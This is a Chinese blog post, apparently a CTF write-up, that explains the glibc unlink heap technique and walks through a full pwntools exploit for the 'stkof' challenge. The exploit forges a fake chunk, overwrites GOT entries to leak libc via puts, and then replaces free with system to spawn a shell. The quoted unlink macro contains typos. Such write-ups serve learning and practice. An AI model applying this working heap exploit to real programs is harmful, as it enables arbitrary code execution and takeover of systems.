首页 > 其他分享 >pwn知识——unlink(smallbins)

pwn知识——unlink(smallbins)

时间:2024-04-06 13:11:37浏览次数:30  
标签:p64 puts 堆块 edit free pwn unlink payload smallbins

是我的错觉么,总觉得unlink比UAF好懂好多...也有可能是我觉得做题模板比较好理解一点,真要深入的话我感觉一个头会比两个大emmmm

原理及其条件

原理

unlink顾名思义,脱链,把一个空闲的chunk从unsorted bin里取出来,与物理相邻的chunk合成一个一个大堆块(分“前合”,“后合”’)。这里用图来解释会更清晰一些
原本的堆块结构是这样的,双向链表
image
在unlink经过一系列操作之后成了这样
image
我们可以很清楚的看到,BK->fd不再指向p->prev_size而是FD->prev_size,而FD-bk同理,指向了BK->prev_size,就把P给脱了出来,等待下一个被free的与它物理相邻的堆块,与其合并成新的堆块。比如P和FD都被free了,那么P和FD就会合成为新的堆块,chunk头就是P的首地址,而如果是BK和P合并的话,chunk头就是BK的首地址,所以前合与后合是不一样的
那么我们要是可以伪造fd和bk弄出了fake_chunk,是不是就可以进行任意地址读写了?

条件

想要利用这个漏洞,那么你就必须拥有修改被free掉的堆块的权限,即UAF漏洞

关键源码

unlink的源码其实很长,但我们需要动用的部分其实很少,我就把那部分代码截出来进行解读

#define unlink(BK,P,FD){
	FD = P->fd;
	BK = P-bk;
	if(__builtin_expect(FD->bk != P || BK-> != P,0))
		malloc_printerr(check_action,"corrupted doubnle-linked list",P,AV);
		//说人话就是如果FD->bk指向的不是P或BK->fd指向的不是P,那么就会报错,不允许进行这样的修改
	FD->bk = BK;
	BK->fd = FD;
}

所以我们要想伪造fake_chunk,那么我们就要满足这样的表达式

P->fd->bk == P <=> *(P->fd + 0x18) == P
p->bk->fd == P <=> *(p->bk + 0x10) == P

那么我们伪造的fd和bk就是

P->fd = P - 0x18
P->bk = P - 0x10

最终效果就是往P里写入(P-0x18)的值

例题(stkof)

审视源码

main函数,可以看到是去符号表的,通过1,2,3,4来执行相应函数,类似于menu
image
首先看寻找下malloc在哪里,经查询,当v3 == 1时,该函数就是malloc
image
有了malloc,后面的函数就更好对应了,那我们来看看v3 == 2是什么
image
可以看到,有两个输入,最开始会查询数组s中的v2存不存在,不存在就Fail,所以可以看做是index,而第二个输入比较复杂,先是把s字符串转为整形赋给n,ptr取s[v2]的内容,在for循环里逐字节对应,那么我们可以得到n为size,而ptr为content,那么这一整个函数就可以说是edit
再看看v3 == 3,很明显是个free
image
其实只要有这三个函数就足够了,剩下的那个函数就是个checkin,看看你写入没有,非必要就不展示了

Payload

可能是我ubuntu22.04版本有点高,本地调不通,所以我本来想很详细的写gdb调试过程的,但是却因为本地调不成功而远端可打,迫于无奈只能先把payload整个放出来,然后逐步解释

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
#p = process('./stkof')
p = remote('node5.buuoj.cn',25670)
elf = ELF('./stkof')

def malloc(size):
    p.sendline('1')
    p.sendline(str(size))

def edit(index,size,content):
    p.sendline('2')
    p.sendline(str(index))
    p.sendline(str(size))
    p.send(content)

def free(index):
    p.sendline('3')
    p.sendline(str(index))

P = 0x602150
FD = P - 0x18
BK = P - 0x10
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']

malloc(0x30)
malloc(0x30)
malloc(0x80)
malloc(0x80)

#gdb.attach(p)

payload = p64(0) + p64(0x31)
payload += p64(FD) + p64(BK)
payload += b'a' * 0x10
payload += p64(0x30) + p64(0x90)
#gdb.attach(p)
edit(2,0x40,payload)
#gdb.attach(p)
free(3)
#gdb.attach(p)

payload_change = p64(0)
payload_change += p64(atoi_got)
payload_change += p64(puts_got)
payload_change += p64(free_got)

edit(2,len(payload_change),payload_change)

payload_leak = p64(puts_plt)
edit(2,len(payload_leak),payload_leak)
free(1)

puts_real_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success('puts_real_addr:'+hex(puts_real_addr))

libc_base = puts_real_addr - 0x6f690
log.success('libc_base:'+hex(libc_base))

system_addr = libc_base + 0x45390
log.success('system_addr:'+hex(system_addr))

edit(2,0x08,p64(system_addr))

malloc(0x20)
payload = b'/bin/sh\x00'
edit(4,len(payload),payload)
free(4)
p.interactive()

逐步讲解

伪造fake_chunk

首先是很常规的步骤,创建四个堆块,然后根据unlink原理伪造fd和bk,创造出fake_chunk

malloc(0x30)
malloc(0x30)
malloc(0x80)
malloc(0x80)

payload = p64(0) + p64(0x31) 
payload += p64(FD) + p64(BK) #跟选取的堆块有关
payload += b'a' * 0x10 #因为我开辟的堆块大小为0x30,为了覆盖到下一个堆块头,得先把这0x30填充完
payload += p64(0x30) + p64(0x90)

edit(2,0x40,payload)
free(3)

我们一次来看edit之前,edit和free后的状况

edit前

image
首先我们先排除三个堆块,分别为系统创造的size为0x290,0x1000,0x410(其实都比真实开辟的地址大0x10),其余的才是我们创造的堆块
我们可以看到最初的堆块构造

edit

image
现在我们已经把payload的内容写进去了,fd和bk也都伪造好了,不过在伪造fd,bk之前,得先确定堆块的位置,先来看看如何根据堆块的位置进行伪造fd,bk指针
image
0x602140是数组s的首地址,也是我们堆所在的地方,我们可以很清楚的看到,因为我选取的是堆块2,对应的地址是0x602150-->0x1ed4700,所以我的P == 0x612150,那么fd和bk也就应运而生

free

从这里开始我的gdb就开始失败了,为了连贯我还是把它放出来
image
按照正常情况,我最开始的0x31应该会被修改成0xc1,而bk和fd也会被解析为真实地址,但是不知为何没有,应该是ubuntu版本问题。
如果正常运行的话,堆会变成这样
image
那么我们现在就可以进行任意地址写了
PS:由于堆块2和3已经合并了,所以这里的chunk3实际是我开辟的第四个堆块

修改chunk

思路

从这里开始可能就比较意识流了,我会尽量进行详细解释,让大家看懂

payload_change = p64(0) #0x602138
payload_change += p64(atoi_got) #0x602140
payload_change += p64(puts_got) #0x602148
payload_change += p64(free_got) #0x602150

edit(2,len(payload_change),payload_change) #相当于从0x602138开始写入地址

payload_leak = p64(puts_plt)
edit(2,len(payload_leak),payload_leak) #泄露任意你想要的地址
free(1) #puts对应所在堆块

puts_real_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success('puts_real_addr:'+hex(puts_real_addr))

我们要进行任意地址写,就必须从0x602138入手,也就是我们的堆块2入手,我们把got表填写进chunk之中,通过改写got表来实现任意操作。因为我们的程序中不存在system,所以我们得先泄露出libc_base才行,把free改成puts即可通过free任意地址打印出对应函数的真实地址

first_edit

image

second_edit

image

泄露

我们已经把free_got指向了puts,那么我们free任意堆块都相当于puts出了它的真实地址,只需要接收地址即可,因为2我泄露的是puts函数,puts函数是在堆块1内,所以我是free(1)

收尾

libc_base = puts_real_addr - 0x6f690
log.success('libc_base:'+hex(libc_base))

system_addr = libc_base + 0x45390
log.success('system_addr:'+hex(system_addr))

edit(2,0x08,p64(system_addr))

malloc(0x20)
payload = b'/bin/sh\x00'
edit(4,len(payload),payload)
free(4)
p.interactive()

把free再次改成system,然后往空堆块里塞/bin/sh再free即可

疑惑点

哪位佬能告诉我为啥我ubuntu22.04调试不成功...是它源码又更新了吗?感觉unlink没法在高版本ubuntu使用了的样子

标签:p64,puts,堆块,edit,free,pwn,unlink,payload,smallbins
From: https://www.cnblogs.com/falling-dusk/p/18108293

相关文章

  • 花式栈溢出 CTFshowpwn88
    花式栈溢出在这之前确实对这方面了解很少,一般这种花式栈溢出不仅仅要求你能发现漏洞,最主要的是你要有随机应变的能力这个题是一个64位的题目看一下保护canary和nx保护都开了,我们用ida打开看一下那么程序主要是要你给一个地址和一个值,他会把你给的值放入你给的地址里面,然后......
  • pwn.college Fundementals Program interaction
    BinaryFileshacker@program-misuse~level51:~$file/usr/bin/cat/usr/bin/cat:ELF64-bitLSBsharedobject,x86-64,version1(SYSV),dynamicallylinked,interpreter/lib64/ld-linux-x86-64.so.2,BuildID[sha1]=b357ed53c8c9cb1a312f83b28982304effae0135,for......
  • 第一届“长城杯”信息安全铁人三项赛初赛-第四场-pwn-all
    第一届“长城杯”信息安全铁人三项赛初赛-第四场-pwn-all这次打了个第二。onetime逆向分析经典菜单堆,free分支存在uaf,然后第五个分支和第一个分支可以达成fastbinattack漏洞利用利用fastbinattack申请0x60208d,然后修改分支判断变量与p指针,做到利用show分支泄露和修改atoi......
  • CTFshow pwn49 wp
    PWN49用ida打开我们发现是静态编译的,所以先要通过libc库来打是不可能的了,程序里面有一个栈溢出点,找一下有没有system函数,发现并没有那么我们找一下有没有mprotect函数如果有这个那么我们可以把一段地址改成可读可写可执行权限,然后写入我们的shellcode就可以执行了,发现确实有这......
  • 红队笔记10:pWnOS2.0打靶流程-whatweb指纹识别-searchsploit搜索漏洞利用getshell(vulnh
    目录开头:1.主机发现和端口扫描2.80端口- whatweb指纹识别-searchsploit搜索漏洞并利用whatweb指纹识别:searchsploit搜索历史漏洞:什么是perl?SimplePHPblog登录成功-图片上传getshell3.提权-敏感文件泄露密码泄露尝试登录 4.总结:开头:学习的视频是哔哩哔哩红......
  • CTFshow pwn53 wp
    PWN31那么先看保护虽然没有开canary但是本题在ida打开看见他是模拟了canary的效果,不同的是他的是固定的canary,但是一样要爆破而且发现还有后门函数在ctfshow函数我们发现v5=0,那么我们只要不输入回车(acii:10)可以一直往数组里面写入数据,然后它会把v2变成有符号形整数,作......
  • CTFshow pwn31
    PWN31使用checksec查看保护发现除了canary剩下保护全开,那么就没有前面几个题目那么简单了,ida打开看见他给了我们main函数地址虽然开了pie但是在他们之间的偏移是一定的,那么我们就可以通过他给的main函数的真实地址减去偏移得到文件(elf)的基地址,然后puts_pltputs_got表地址就......
  • pwn.college Fundemental program misuse
    LinuxCommandLinels-ld/some-path#-regularfile#d:directory,lsymboliclink,#p:namedpipe:FIFO#c:characterdevicefilehardwarethatprovidedatastream:e.g.:#b:blockdevicefilehardwarethatstoresandloadsblocksofda......
  • buuctf之pwn1_sctf_2016
    一、查看属性首先还是必要的查看属性环节:可以知道该文件是一个x86架构下的32位小段ELF程序我们可以先执行一下看看:二、静态分析扔到IDA中看一下,主函数没什么用,这里的vuln函数是必进的,我们进去看看vuln函数这个函数整体分析下来,我也看不太明白是干啥,看到了fgets函数,但......
  • [CISCN 2019东北]PWN2
    下载好附件之后,先丢到checksec看一下开了什么保护有栈溢出:Stack:Nocanaryfound丢到IDE看一下按shift+f12看一下字符串,发现没有system和/bin/sh回到上方标签(IDAView-A)回到主界面按f5查看伪代码发现encrypt()函数存在gets溢出gets没有任何限制,但是储存用户......